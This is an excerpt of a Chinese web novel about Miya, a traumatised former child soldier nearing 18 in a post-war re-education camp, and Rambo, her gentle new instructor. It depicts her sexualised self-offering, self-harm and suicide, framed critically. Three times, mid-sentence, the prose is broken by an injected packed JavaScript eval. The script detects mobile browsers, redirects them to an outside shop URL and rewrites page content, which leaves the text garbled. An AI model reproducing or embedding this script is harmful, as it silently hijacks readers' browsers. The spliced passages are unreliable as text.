《向太阳坠落》 1. 零下九十一 接待室是一间正方形的屋子,四壁雪白,没有窗户,正中摆了两把黑色折叠椅。 弥雅坐在左侧的椅子上。按照惯例,主人在左,宾客在右;这间改造营的教官大都喜欢在面谈时坐在左首。 弥雅坐在左侧的折叠椅上。她上身向内佝偻,像要护住小腹,头耷拉着,专心地咬已经惨不忍睹的指甲。 门外有脚步声,弥雅借着打寒颤的劲头将腰背挺直,揪住制服裙摆的坑洼指甲勾出细线,她将小手指套进去,将线环往外扯,勒住手指的细线变成可以划破皮肤的刀刃,她恍惚觉得,再用力一点说不定可以就此将指节切下。 细线应叩门声断裂。 弥雅的裙子上又多一个无处安放的线头。 以前的教官从来都是推门而入。 外面的人又敲了两下门。 弥雅困惑地盯着严丝密缝的门板,不明白对方想要什么。门只能从外打开,内侧锁的钥匙在教官们手里。 “那么我就开门了。”话语落地数拍后,外面的人才拉开房门。 来人几乎和门框一样高。弥雅情不自禁吞咽了一记,忘了瑟缩,像见到狮子的山羊。 青年也的确有让人想起动物鬃毛的金棕色头发,只不过他的头发柔软闪亮,更像驯良的大型犬。他摘下军帽致问候:“你好,初次见面,我姓兰波,是负责你的新教官。你叫什么名字?” 弥雅没有回答。 兰波看向右侧的椅子:“我可以坐下吗?” 这个人再次做出令弥雅难以理解的行动。她不觉得他应该征求她的意见。她不是这间房的主人,甚至不完全拥有对这具身躯的主权。 持续的沉默似乎令兰波略微难堪,他手中的军帽在指尖转了个圈。 “那么我就坐下了。” 体格上的差距因为落座变小,弥雅又在呼吸了。三,二,一,进入角色。 “你叫什么名字?”兰波再次发问。 她是弥雅,前帝国少年军成员,在莱辛改造营接受再教育,编号13。 “我叫什么无所谓吧,”弥雅将头歪向一侧肩膀,熟练地将裙子往大腿根推,理所应当地问,“要现在就做吗?” 兰波怔了一下。 弥雅困惑地盯着他,骤然本能地醒悟,这个男人完全没有那方面的打算。他将她当做一个人看待。意识到这点的那一刻,她被陌生的耻辱感贯穿。 她是帝国少年军伙伴们急于摆脱的不光彩过去,是改造营教官履历上扎眼的污点。但她毫不在乎,甚至以之为荣。 但这个叫兰波的青年让她想死。因羞愤而死。 仿佛要挽回她本就不存在的自尊,弥雅垂头:“真的不要?” “不用了,谢谢。”兰波没有嫌恶地别开视线,笔直地凝视她,“你叫什么名字?” 弥雅确信她讨厌这个人。从头发的颜色到声音,最可恶的是这恍若一无所知、又像全都看透的明亮眼神。她无从遁形,被押上由兰波裁决的法庭。即便他宣布她无罪,他也的确会这么做,但她依然会感到自己是个肮脏的罪人。 弥雅揪住裙摆,抿紧嘴唇,拒绝回答。 兰波微微笑了一下,仿佛并不在意:“那么今后请多指教,弥雅。” 弥雅固执地保持沉默,只差整个人在椅子上团起来。她希望兰波立刻消失,然后再也不出现在她眼前。她讨厌他,她恨他,她从根本上无法忍受他。 “那么作为友好的象征,我可以和你握个手吗?”兰波说着向她伸出右手。 仅仅是地面靠近的男人的手影,就让弥雅颤抖了一下。 兰波将她的反应看在眼里,又等了片刻,收手:“那么弥雅,之后我们要一起完成的第一个任务,就是互相握手。” “我不会和你握手的。”弥雅冷冷宣称。 “可以告诉我为什么吗?” “我恨你。” 兰波再次因为惊讶停顿了一拍,但他脸上没有受伤的神色。这种大人的从容仿佛在嘲笑弥雅。她不自禁大声喊出来:“我恨你!我恨你们!” “我们是谁?”兰波平静地问。 弥雅胸口起伏,她腾地站起来,背过身去,对着雪白无垢的墙面投掷出答句:“所有人!” “你为什么恨我?为什么恨其他所有人?” 兰波的问话越温柔平和,弥雅就愈发想要尖叫。但接待室像是刹那跌进深海,她发不出声音。 “弥雅,--” 弥雅一头扎出水面,转向兰波,眼眸还是湿润的,口气却已经干涸:“我不知道,我也不想知道。” 她等待兰波因为她孩子气的应答皱眉,或是好言好语地让她“冷静下来”,又或是干脆耐心耗尽直接命令她坐回原位。 但兰波什么都没有做。 他只是注视她。以他那可憎的澄澈眼神。 弥雅浑身骤然脱力,她踉跄歪回折叠椅上,半眯着眼睛轻声说:“别管我了。” “这样的要求让我很为难。” 和弥雅之前接触过的所有教官都不一样,兰波的用词很讲究,不是故作高深的显摆,而是自然而然,反而加倍让她烦躁。他的谈吐柔软又克制,像偶尔可以从设施窗户中窥见的大片云朵,在高天之上,只要一阵风来便会悠然走远。但弥雅不敢小觑他,那支撑着兰波高大脊背的东西令她恐惧。 她合上眼帘,不信有人能够在她这样的顽抗下保持好脾气。 “弥雅,再过三个月你就要18岁了。” 弥雅倏地睁眼,强压住视线,没往兰波那里看。 兰波等待了片刻:“我想,你知道那意味着什么。” “那意味着什么?”弥雅恶意反问。她要逼兰波说出来。 兰波被她的话语刺中。他缓慢地眨动眼睫,一瞬露出祈求似的神情。 弥雅忍住嗤笑的冲动,坐直交叠双腿,将颊边乱发往耳后别,故作天真地撅起嘴,以比纸杯蛋糕糖霜更虚假的甜腻声调重复:“兰波教官,那意味着什么?请你告诉我。” 兰波显然并不喜欢她这么拙劣地卖弄风情。他再次默然挪开视线。 只需要一个动作,弥雅又被兰波推上被告席。 她拉下情绪的闸门,面无表情地抱臂瞪视对方。 兰波有风度地妥协。 “如果学员不能在成年前从改造营毕业,就无法重回社会,会转入特殊基地继续接受再教育。”他词与词之间的停顿泄露出不忍,“那些基地的学员大都是真正的战犯。” “我也是战犯。” “弥--” “我上过前线,杀过人。” 接待室的室温骤然下降。 弥雅立刻知道兰波生气了。他的蓝眼睛因为愤怒变得更为明亮。 盛怒的男人总是像披着人皮的野兽。弥雅化身挑逗猛狮的蝴蝶,要将獠牙和兽性都勾出来。她单手支颐,轻浮地补充:“反正有了那种大铁块和程序,不管是谁,只要把手放上去,按个按钮,拉个闸门,扣一下扳机,就能杀人。小孩都可以。” 弥雅上半身前倾,任由空气灌入制服领口。她从眼睫下看向兰波。这是个能勾起男人欲|望的煽情小动作。她很低很低地念:“兰波教官,你杀过人吗?” 兰波艰难地吞咽了一下,哑声答道:“没有。” 弥雅轻笑,将头愉快地往后甩。 但兰波沉静的话语令她的动作冻结: “弥雅,在你出生之前战争就开始了。除了遵从教导你的人以外,你别无选择,所以你没有错。因此此刻,你才在这里。你有权利去见一见更广阔的、更明亮的世界。” “别开玩笑了!”弥雅的尖叫令自己都惊愕。她因为这一拍的错愕而怒火更甚,起身将椅子踢翻,退到离兰波最远的墙角:“闭嘴吧你! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726816|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 兰波伸手扶住翻滚的椅子,动作稳得令弥雅胃里一阵灼烧似的翻涌。他一言不发地将折叠椅放回原位,重新落座,像是什么都没发生一样:“弥雅,今天我只是想和你聊一聊。” “我和你的话已经说完了,请回吧。”弥雅学着兰波的口气赶人。 “弥雅,现在开始,我和你轮流问对方一个问题,回答者可以选择保持沉默,但如果开口,必须诚实回答。” 弥雅背过身去,烦躁地猛揪自己的头发。头皮上的旧伤被牵动,她喜欢这钝痛。 “女士先请。你可以问我任何问题。” “你睡过几个女人?” “我选择沉默。在人后谈论女性是不值得赞许的卑劣行为。” 弥雅哈地笑出声。 “在进入帝国少年军之前,你在哪里生活?” 弥雅慢了一拍才反应过来,兰波在问她。这个问题令她感到茫然无措。 帝国少年军这个身份她穿得太久,即便脱下了黑色的军装,它依然包裹她,业已成为她的第二层肌肤。而兰波竟然想要剥去这层皮。 她都不知道那下面有什么。 “我不记得了。我长大的福利院也从属少年军。” 兰波不置可否:“轮到你提问了。” 弥雅厌烦地皱起鼻子:“谁想陪你玩这种游戏?好了没有?够了吧。” “我还有很多想问你的事,”兰波挠了挠后颈,毫无征兆地难堪起来,“你就没有别的想问我的问题?我是个很无趣的家伙,但好歹可以和你说说外面的世界--” 弥雅不耐地截断:“战争时你在干什么?” 兰波涩然一笑:“在战争刚刚开始时,我的双亲就带着我和弟弟一起逃亡海外。直到去年和约生效,我才时隔多年第一次回到故乡。” “所以,近二十年的战争的滋味,你半点都没有尝过?”弥雅忘记了一次只能问一个问题的限制。 兰波也忘了。 他苍白着脸,突然变得不知所措,一个劲地把玩手中的军帽。 但失态也只有须臾。 “我……读过媒体报导。仅仅是文字,就让我看到了无法想象的人间地狱。回来之后,我当过一段时间志愿者,收集幸存者的口述记录。但我感觉那还不够,因此我才会来这里……”兰波恳切地看着弥雅,仿佛在征求她的原谅,“我想,这是眼下我最能做到的、最该做的事。” 弥雅彻底失语了。 兰波说的话,她无法理解。 她无法想象该如何旁观这场撕裂整片大陆的战争。因为那是她熟知的一切。 她死死盯着眼前的青年,恍惚地想,她明白自己为什么对他本能地厌恶到极点。 “最后一个问题,”弥雅的声音丧失了温度,但她感觉自己在燃烧。火焰是名为嫉妒的丑恶的感情,但那也是正义的烈炎,词句不受控制地滚落舌尖,像从枪膛喷射而出的子弹。她想用控诉的言语弹劾兰波,想置之死地,想看到兰波毁坏。她渴望他的绝望渴望到像要坠入爱河,哪怕她自知恋爱是这世上离她最遥远陌生的东西。但只要让兰波屈服,逼迫他跪得比尘泥更低,到那个时候,也许他们就能互相理解。一定是的。哪怕只是短短一瞬,她大概也能从他无法修补的伤口中看到只有他见过的“更广阔的世界”。 这么想着,弥雅情不自禁微笑起来:“明明什么都不明白,还要劝别人走出来?对只见过监牢的囚犯描述外面的美好世界一定爽飞了吧?你图什么?自我满足?你不害臊吗?兰波教官,你让我感到恶心。” 如她所料,兰波一句话都说不出来。 弥雅满意地从他腰间取下钥匙。兰波没有抵抗。 她打开房门,将钥匙往后随手一抛,扬长而去。 钥匙落地的声响被自动关上的房门封死。 距离弥雅的18岁生日还有三个月。 2. 零下九十 在睁开眼前弥雅就醒了。 她倾听周围的动静。 是她熟知的寂静黎明。距离早晨起床的铃声还有四十五分钟左右。 睡在上铺的莎莉呓语着翻了个身,弥雅用被子裹着头坐起,轻轻吐息,收起睡梦遗落的不必要表情。然后,她任由被褥落下,同时睁开眼。 启动完毕。 弥雅迅速套上制服,光脚走到门前。她一手提着塞了袜子的鞋,一手静悄悄开启房门,以肩膀推出容自己离开的空隙。钻出房门后,她反手搭住门把,无声地阖上门。每天早晨都是这样,哪怕意识模糊,身体也会忠实地做完全套。 莎莉是弥雅的第……记不清是第几个室友。弥雅总在莎莉醒来前离开,在莎莉熄灯后爬上下铺,几乎没交集。 在改造营学员之中,弥雅臭名昭著,没人愿意和她同住。过往弥雅住在哪,哪里就闹得不可开交。管理层也曾经干脆让弥雅独自占一间宿舍,但当晚她就试图自缢。于是每过几个月便有个新来的倒霉蛋抽中下签成为弥雅的室友。 弥雅也不明白为什么。但只要是有人的房间,她就没法死在那里。 也许是不想让人看到自己死后的丑态。 可活着的时候都已经对他人的眼光无所畏惧,为什么还在乎身后会被怎样的视线剖开审视?弥雅不知道。但已经无所谓,她不会再试图自杀,反正距离生日还有不到三个月时间。 弥雅关上水龙头,用前臂抹去脸上冰冷的水珠,瞪向镜子里的自己。眼下阴影不知道是镜子的锈斑还是睡眠不足。 洗漱时制服袖口和前襟都打湿了,一缕缕的发丝贴在脸颊脖颈。弥雅也不擦干,直接步入清晨的凉风。她立刻哆嗦起来,却感到愉快。 早晨六点三十分,改造营起床铃响,六点五十分集合训话,七点开始晨跑,七点三十分钟早饭,八点正式开始新一天的课程。一周六天,每天如此。周日是例外,没有晨跑,与教官每周一次的面谈会持续到中午,下午分组进行兴趣活动,每周都有一队人被选中到市内观光。 以上是普通学员的日程。 这和弥雅完全无关。 早晨五点四十五分左右起床,不参加晨跑,不吃早饭,在室外闲逛到八点左右,如果碰上教官就去课上露个脸,不然就找棵树爬上去看书,看困了就在树上睡觉。在午饭时间结束后去食堂拿一个剩下的三明治就走。晚饭也不需要。 弥雅抬头看天。阴沉的春日云层匍匐前进,轮廓线浓重欲滴。 如果下雨不能呆在室外……她不禁抱紧双臂。她讨厌雨天。 “早上好,弥雅。今天看起来会下雨。” 她讨厌这个声音,也讨厌这装模作样的问候。 弥雅转身:“你怎么在这里?” 天光昏暗,她看不清兰波说话时的表情。他说话的口气还是温和得可憎:“抱歉,我事先打听了一下,得知你每天很早就起床了。” “然后呢?” “作为负责你的教官,我有义务了解你是怎样度过一天的。” 弥雅即答:“不需要,碍事。” “我会保持一定距离,不会打扰到你。” 弥雅抱臂露骨地上下打量兰波数个来回,嗤笑:“行啊,但是不许和我说话。还有,不管发生什么,你都不许介入。否则就给我滚。” 兰波没有回答,像是默认。 弥雅便目不斜视地往前走,一直走到改造营边缘。 营地由战时疗养院改建,盘踞半山腰,天好时能看到不错的日出。但铁丝网高耸,山下成片的废墟、碎石堆里与日俱增地方形小房子都被高耸的铁丝网整齐割裂。地平线和太阳也被一视同仁地丈量而后切割进六边形格子。 铁丝网后就是陡坡,想要逃跑的人即便翻过障碍也只会非死即伤,因此这里只配备了最低限度的警卫装置。 弥雅不讨厌这里。 但是她立刻后悔今天不假思索地来了这里。 “今天云太厚了,看不到日出。” “我说过不要和我搭话。” 兰波“啊”地惊呼了一声,笑笑地说:“抱歉,一不小心就……” 停顿片刻,他注视着远方补充:“但是天晴时,这里景色一定很优美。” 弥雅揪紧铁丝网:“之后我不会再来这里了。” “为什么?”兰波困扰地蹙眉,仿佛为弥雅感到惋惜。 胃被这不带恶意的表情狠狠翻搅,弥雅懊悔地将指甲掐进掌心:“因为你也知道这个地方了。” 她将永远失去这里。不。弥雅纠正自己。这里从来不属于她。 弥雅突兀地转身,大步离去,踢起道边的一颗颗石子。 兰波默默跟上来。 他不急不缓的足音锤着弥雅的耳膜。她要走两步他才迈出一步,两人间的距离却没有因此拉大。该死的体格差。 晨跑和早饭结束的铃声都已经响过,营地终于有了一点活气。弥雅不愿意再透露自己常去的地方,便放弃爬树悠闲度日的计划,改道笔直地往教学楼走去。 今天周一,是集会讲座的日子。 弥雅抵达时已经敲过第二遍铃。 充当讲座教室的是疗养院原本的活动礼堂,弥雅推开沉重的木门,一整个礼堂的人齐刷刷回头看过来。一片死寂。台上的教官也无措地停止发言。 弥雅左右四顾寻找空位。 交头接耳的议论声像上涨的潮汐,一波比一波响亮清晰。 坐在最后一排最外的金发男孩手掌交错,摆出一个叉,禁止她靠近。 再向前一排的女孩团体回头瞪视,仿佛弥雅再前进一步就要尖叫起来。这表情惹得弥雅很想走上前坐到她们身边。 “咳,请迟到的学员尽快就坐。” 弥雅柔柔地答:“报告,没有我可以坐的位子。” 教官尴尬地扶住讲台。他也只是个二十出头的年轻人,在改造营的资历还没弥雅老。教官的困窘令聚集在弥雅身上的视线愈发扎人。 但弥雅只是微微地笑,泰然自若地沐浴在翻滚的白眼和骇然的瞪视中,而后向兰波一抬下巴,不要多管闲事,如此传达。 “麻烦你们往里挪两个位置。”兰波却径自走向最后一排的金发男孩。 男孩迷惑地盯着兰波看了片刻,视线落到他的教官制服肩章,扁嘴猫腰起身。一整排的人几乎同一时间动起来,往里退出四个位置。 “谢谢。”兰波在朝内的第二个座位落座。 留给弥雅的是最外侧的座位,又或是第三个位置。不论哪个,都在兰波身侧。 “再往里面去一个。”弥雅嘶声低语。 兰波抬眸看她,仿佛听不懂她在说什么。 教官又咳嗽一声,弥雅冷着脸在最外侧坐下。 “那么继续介绍今天播放的纪录片,影片素材是战地记者的真实影像资料,正如标题所言,集中展现的是……” 只需要听个开头,弥雅就知道今天要放的是哪部片子。 她已经熟悉到麻木。 会在周一播放的影片有两类,一类揭露帝国军内部的教育宣传机器,动摇帝国少年军从小接受的理念,揭穿其中有多少别有用心的误导、错漏或是谎言,往往穿插曾经的内部人员和毕业学员的回忆访谈;另一类则是以最直接的方式展露帝国在战争中对各类人群施加的暴行,从根本上否定帝国掀起战争的正当性。并非自卫,是侵略,是无耻的掠夺。 弥雅对这些影片没有好恶。 这些影片说得没错,但也不完全正确。也许教导他们的师长说了许多与事实相悖的话,但不少人也全心全意地相信着宏大的美好愿景。许多人一起做同一个梦很美妙,融进巨大浪潮的本能足以蚕食所有理性。 弥雅想起,投降的消息传来时,她和伙伴们正在一所学校的地下室组装武器。广播投降宣言持续播放了三遍,所有人都失语。和他们共患难的指导员以满是机油污渍的衣袖抹了把脸,吐出的第一句也是最后一句是: “对不起。” 他拿起刚组装好的手|枪朝自己的太阳穴开了一枪。 弥雅不明白那个人为什么要道歉。 改造营的教官们说,少年军的成年指导员们将少年少女们当做道具利用,惨无人道。试图脱逃的少年少女会被当众处决。弥雅模模糊糊地想起,她依稀有个朋友就是那么死的。名字已经不记得了。但她记得那个女孩试图劝她一起逃走,那湿润的双眼和滚烫的双手烙在脑海深处,会在弥雅最不设防的时刻突然复活。 弥雅将女孩推开了。一次次地,在回忆里,在确然发生过的现实里。 不是弥雅告发的,但似乎不少人认为是她出卖朋友。指导员知道不是弥雅,但没有澄清。这种互相怀疑的氛围糟透了,但前线真的后退到眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726817|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,这些小事很快没人记得。大家都是共生死的伙伴,有同一个敌人的战友。 枪响过后,弥雅第一个念头是,如果那时候跟着走,躺在那里的就会是她。但她突然又有些羡慕,死人不用再睁开眼睛,而赖活的狗即便在睡梦中也要时不时查看四周。 的确有以看狗的眼神看他们的指导员。但也有为了保护少年军而死的指导员。人会为了道具而死吗?弥雅不知道。 她其实并不在乎谁对谁错。她只是感到厌倦。想不明白的事,不去想就好。 影片开始播放字幕,弥雅起身离开。 今天散场的人群退得分外快,弥雅知道不少人是特意来围观她的。只听说过她的名字的新学员每个月都在增加。 “喂,弥雅,你听着,那个阿廖沙死了。” 突然有人冲着弥雅叫道。 弥雅骇然闻声回头,余光人影一闪。趁她分心,有人从侧边狠踹一脚。 她失去平衡,却被稳稳扶住。 这身高不用抬头就知道是谁。 “放开!”弥雅狠狠甩开兰波。 但已经有人开始吹口哨:“下手那么快啊?不要带坏新教官啊。” “阿廖沙怎么了?”弥雅厉声问。 “骗--你--的。我才不知道那家伙是死是活。”说话的人做了鬼脸就跑。 余兴节目结束,人群开始散去。 兰波却一把抓住一个人。正是刚才坐在最后一排的那个金发少年。 “你干什么?”金发少年吃不准兰波意图,开始挣扎。 兰波没有松手,口气依旧很平和:“我没看错的话,你刚才踹了弥雅一脚。” 少年抬高声调:“是又怎么样?” “即便你心有不满,也不能对人动手。” “她活该!” 兰波脸色微沉,态度依旧算得上客气:“没有人活该被暴力相向。向弥雅道歉。” “我不要!” 人群再次聚拢。弥雅咂舌,抬腿就一脚揣在少年小腹。少年吃痛,甚至没能发出哀鸣。 “弥雅。”兰波的眼神有些可怕。 “扯平了。”弥雅径直往大门走。围观的人丛自觉让出一条道。 兰波僵了须臾,松开少年,感到难堪似地正了正军帽,快步追赶弥雅。 影片播放期间外面开始下雨。 弥雅咬紧牙关,逆着食堂的方向,故意踩着水塘啪塔啪塔地挑难走的路走。她讨厌下雨天。今天糟透了。她恨兰波。真想把脚下溅起的泥水灌进他说漂亮话的嘴里,看他那时还能不能发声。 才消停了没多久,兰波的脚步声便夹杂着雨声靠近。弥雅冷不防转入仓库屋檐下,转身忍无可忍地怒吼:“你够了没有?!” 兰波想说什么,却忍住了。雨帘从他的帽檐不停地流淌,他的鼻尖滴下冷雨,滚落嘴唇下巴。弥雅意识到他正因为愤怒微微地打着颤。 弥雅抱臂,咧嘴冷笑:“你想说什么,说出来。” “你--” 但弥雅没有让兰波说出第二个词:“谁要你多管闲事!我告诉过你,让你不许介入,否则就给我滚。你滚啊!啊?!” 兰波摘下军帽,将负重下压的湿漉漉额发往旁侧拨,露出不躲闪的双眼。他深呼吸数下,直至语气恢复平静:“看到有人对他人暴力相向,我不能不出手制止。” 雨声填补数拍空白,而后他叹息似地补充:“我不希望看到你受不必要的伤害。” 弥雅打了个寒颤:“我不需要你的保护。” “接受他人的保护并不是坏事。我是教官,你是我负责的学员,保护你是我应当做的。” “是吗?”弥雅眯起眼,仿佛要借看清兰波,她忽然低笑起来,步入雨中,“保护我?凭你?我每一次被打骂的时候你都要冲上来当好人?每一次?” 兰波揪起眉头。他示意她退回屋檐的庇护下,弥雅站在原地,寸步不让。 僵持一瞬,兰波脱下外套撑开,挡在弥雅头顶遮雨。弥雅想后退,兰波便先一拍前进半步。距离反而拉近。 弥雅紧紧环抱双臂,一言不发地盯着他。她脸色惨白,表情却凶狠,仿佛随时会发狠扑上来咬他。 兰波垂眸迎上她带着恐吓意味的瞪视,非常谨慎,又非常坚定地说道:“我不能做绝对的承诺。但只要我在场,我就会保护你。每一次。” 3. 零下八十九 “我再说一遍,给我换个教官,不管是谁都行。”弥雅双手撑在办公桌面,向桌子后端坐的人压去,几乎要与对方鼻贴鼻。 坐在桌后的金发女性戴着银丝边眼镜,镜片上浮现一行行文字,随着眼球转动翻页。 “喂!”弥雅踹了一脚桌子。 对方这才停止阅读镜片上投影出的文字,慢吞吞地抬眼看来:“弥雅,你知道这是不可能的。” “让、那、个、家、伙、从、我、面、前、消、失!”弥雅眯起眼,咬牙切齿地重复要求。 “才几天就能让你闹到这里来,看起来兰波先生值得期待。” “期待个屁!” 金发女子重新将注意力转到镜片上,对弥雅的怒吼充耳不闻。 弥雅气得浑身发颤,抬手去抓镜架。 “编号13,再胡闹的话,我就要去告状了。”金发女子口气没有丝毫变化。 告状。反射性的惧意令弥雅的动作一顿。 这个名叫汉娜的女人负责管理改造营学员档案,也是这里为数不多愿意与弥雅进行正常对话的人。只要不触及红线,汉娜对弥雅的出格行为基本视而不见。当然,她也从不曾伸出援手。既非敌人,却也绝非同伴。 汉娜摘下眼镜,有些不耐烦:“这个月办理毕业手续的人特别多,我需要集中注意力。” 弥雅不再多纠缠:“你等着,我会让他主动来申请换人的。” “那么祝你好运。”汉娜吹了个口哨,再次戴上眼镜。 一踏上档案室外的洁白走廊,弥雅就看见了兰波。 青年自然而然地走过来:“事情办完了?” 不知道刚才档案室中的叫喊他听到了多少。 弥雅面无表情地与他擦肩而过。 兰波跟过来,保持了一步的距离。这点莫名其妙的良好风度让弥雅愈发恼火。 档案室在行政楼二层,弥雅坐上楼梯扶手,呲溜一滑到底,轻巧地跳落地面。她向还在台阶顶的兰波龇牙,一甩头就往大门走。 兰波几乎立刻又追上来。 该死的体格差。弥雅在内心咒骂。 “弥雅,再过二十分钟午休时间就结束了,你还没有吃午餐。”兰波转到弥雅面前,递出一份油纸包裹的三明治。 “你觉得我会吃你给的东西吗?” “你早餐也没吃。这样对身体不好。” “假惺惺的关心还是免了,”弥雅嗤笑,将三明治从兰波手中拍落,“你没有自尊吗?明明头次见面就被我说得一句都答不上来,还有脸整天在我眼前晃来晃去,你不觉得烦我都烦透了。麻烦你早点收拾东西走人,从我眼前消失。” 兰波俯身捡起三明治,以陈述事实的口气说道:“等你从这里毕业了,我自然会从你眼前消失。” “我不会毕业的。” 兰波没有说话。 弥雅无法忍受他的注视,转身就走:“不许跟过来!” 这一次兰波干脆走到了弥雅身侧。 额角的神经突突地跳,她猛地驻足:“你听不懂人话吗?” 兰波淡然道:“虽然我想尊重你的意愿,但我也有无法让步的事。” 周围仿佛又降下绵密的雨幕,他以相同的语气说他会保护她,只要他在场,每一次都会。昨天弥雅逃走了。再难听恶毒的咒骂都无法伤害她分毫,面对真假难辨的好意时,她却分外软弱。 她不擅长应对兰波。 只怪她一开场就用掉了王牌,最恶毒的话语攻讦让兰波大受打击,却没能让他放弃。他好像根本不会受伤害,像个橡皮人,经得起拉扯、弯折、扎洞、浸泡、抛掷,不管她说什么、做什么,第二天兰波都会原样复活,脸上带着傻乎乎的温柔笑意。 她不知道该怎么做才能把兰波从她还剩没多少页的人生笔记上划掉。 弥雅决定改变策略,挤出灿烂的笑容:“兰波教官,我就直说了。我是一艘沉船,所有人都已经放弃。没必要在我身上白费力气。我诚心建议你另找一个学员搞好关系,那样的感人故事大家都喜欢,你的简历能上添一笔成绩,我也可以解脱。双赢。明白了吗?” “我不认为这是白费力气。不论对你还是对我,这都是有意义的。”兰波停下来想了想,含笑注视她,“至少比起第一次见面的时候,你似乎已经没那么怕我了。” 弥雅后退一步,双手抓着对侧的胳膊肘。制服衣袖下的皮肤爬满了鸡皮疙瘩。她感到很冷,多说一个词都会白白放走一口热气。 “总之,人不吃东西身体会垮。”兰波这么说着,竟然从外套口袋中掏出第二份三明治。 弥雅绷着唇线盯着他。 “其中一份是我的午饭。”兰波这么说着,将刚才被打落在地的三明治举起晃了晃,脱落的油纸包装一角飘飘荡荡,散落出来的酱汁染出斑点,像卡其色旗帜上的纹章。然后他将新拿出的三明治再次递过来:“你平时也会去食堂拿三明治当午饭,就当是我顺路代替你拿了一份,所以收下它,好吗?” 兰波口气像在哄发脾气的小孩,弥雅当然感到恼火;但让她胸口愈发烦闷的是另一件事。这个人竟然短短两天已经将她的行动轨迹摸清,他还知道什么?知道了多少?如果全都清楚,为什么还要这么接近她?他究竟有什么目的?兰波……是谁? 弥雅冷着脸,踮脚勾手去拿兰波另一只手中的破损三明治。 兰波一怔,下意识将手抬得更高。 弥雅根本够不着。 “弥雅,那是我的午餐。你的是另外这份。” 弥雅感觉兰波在嘲笑她,怒气上涌。她恶狠狠地夺过包装完好的第二份三明治,用力往地上一掷,踩了一脚,然后捡起来,扯开被油脂和灰尘弄脏的包装纸,挑衅地咬了一大口,转身就走。 兰波困扰地苦笑了一下,什么都没说。 弥雅无视宣告下午课程开始的铃声,径自走向宿舍区。周围残留着比建筑物年龄更老的一小圈树林。她三两口将三明治吞下肚,将包装纸揉成一团,随手往后一抛。 “不要乱扔垃圾。” 弥雅回头,竖起中指。 兰波愕然的表情取悦了她。她加快脚步走向树林边缘,熟练地从一棵空心老树的树桩中拖出一个铁皮箱子,先掂量了一下重量。没有变化,没人来拿过东西。她打开箱盖,确认箱子里的书籍没有被雨水浸湿,略微松了口气。 “这些书是……?”兰波辨认着封面上的文字,显得十分意外。 当下大部分图书都已经数据化储存,改造营的图书室也改为电子形式。教官们可以清晰追踪每一个学员在什么时候、花了多久看了什么书。 “在被处理掉之前,从老图书室禁|书区偷出来的。”弥雅龇牙,拿起最上端的一本夹在腋下,单手抓住最低的树枝,熟门熟路地攀上老树。 兰波清晰可闻地叹了口气:“这很危险。” 也不知道他说的是偷禁|书还是爬树。弥雅无所谓地耸肩,翻开边角卷翘的书页,找到夹了树叶的那一页,开始阅读。 兰波好像在树荫里坐下了。弥雅甩头,就当兰波不存在,试图将注意力集中到文字上。 但几乎立刻,兰波就打破沉默:“是谁教你读书的?” “在前线后退之前,指导员偶尔也是会教我们认字的。”弥雅不禁戴上嘲弄的口气,“帝国少年军不是你们想象中的野蛮组织,还真是对不住啊。” 兰波抬头:“如你所言,我在海外、在回来之后所接受的信息也许有失偏颇。那么少年军内部究竟是怎样的?没有人比你更有发言权。” “我为什么要告诉你?” 兰波像是被这个问题难住了。过了良久,他才不太确定地说道:“因为… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726818|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我有兴趣,我想知道?” 弥雅差点咒骂出声,最后就当没听见。 “箱子里的书,我可以拿出来看一看吗?我会小心爱护的。” “反正不是我的东西。”弥雅冷冰冰地答道。 兰波翻阅了一阵,像是自言自语地说:“都是同一个人的作品。”顿了顿,他略微抬高声量:“你喜欢这个作家?” 弥雅卷起手中的书册,朝着兰波的头顶扔下去:“都说了这不是我的东西!” 兰波下意识接住,困惑地皱起眉头看她。像在谴责她毫无缘由的粗暴。 “这个人是谁,写了什么,都和我半点关系都没有,我也没有任何兴趣,”弥雅噎了一下,冰冷地宣告,“只是因为这些书在违禁名单上,我才会看几眼。” 兰波将弥雅投掷过来的书翻到目录页,露出深感怀念的微笑:“啊,我记得这个故事。” 弥雅呆滞地眨眨眼,茫然地寻找合适的词语:“你……看过?” “是很小的时候的事了,为了不让我忘记母语,我的母亲经常会买书给我和弟妹看。这本书之所以会流传到海外,也许也是帝国文化宣传策略的一环,因此战争结束后,这个人的作品也就被封禁了。” 兰波用手指抚摸过短篇集目录的一行行标题,小心轻柔,像在触碰蝴蝶翅膀。 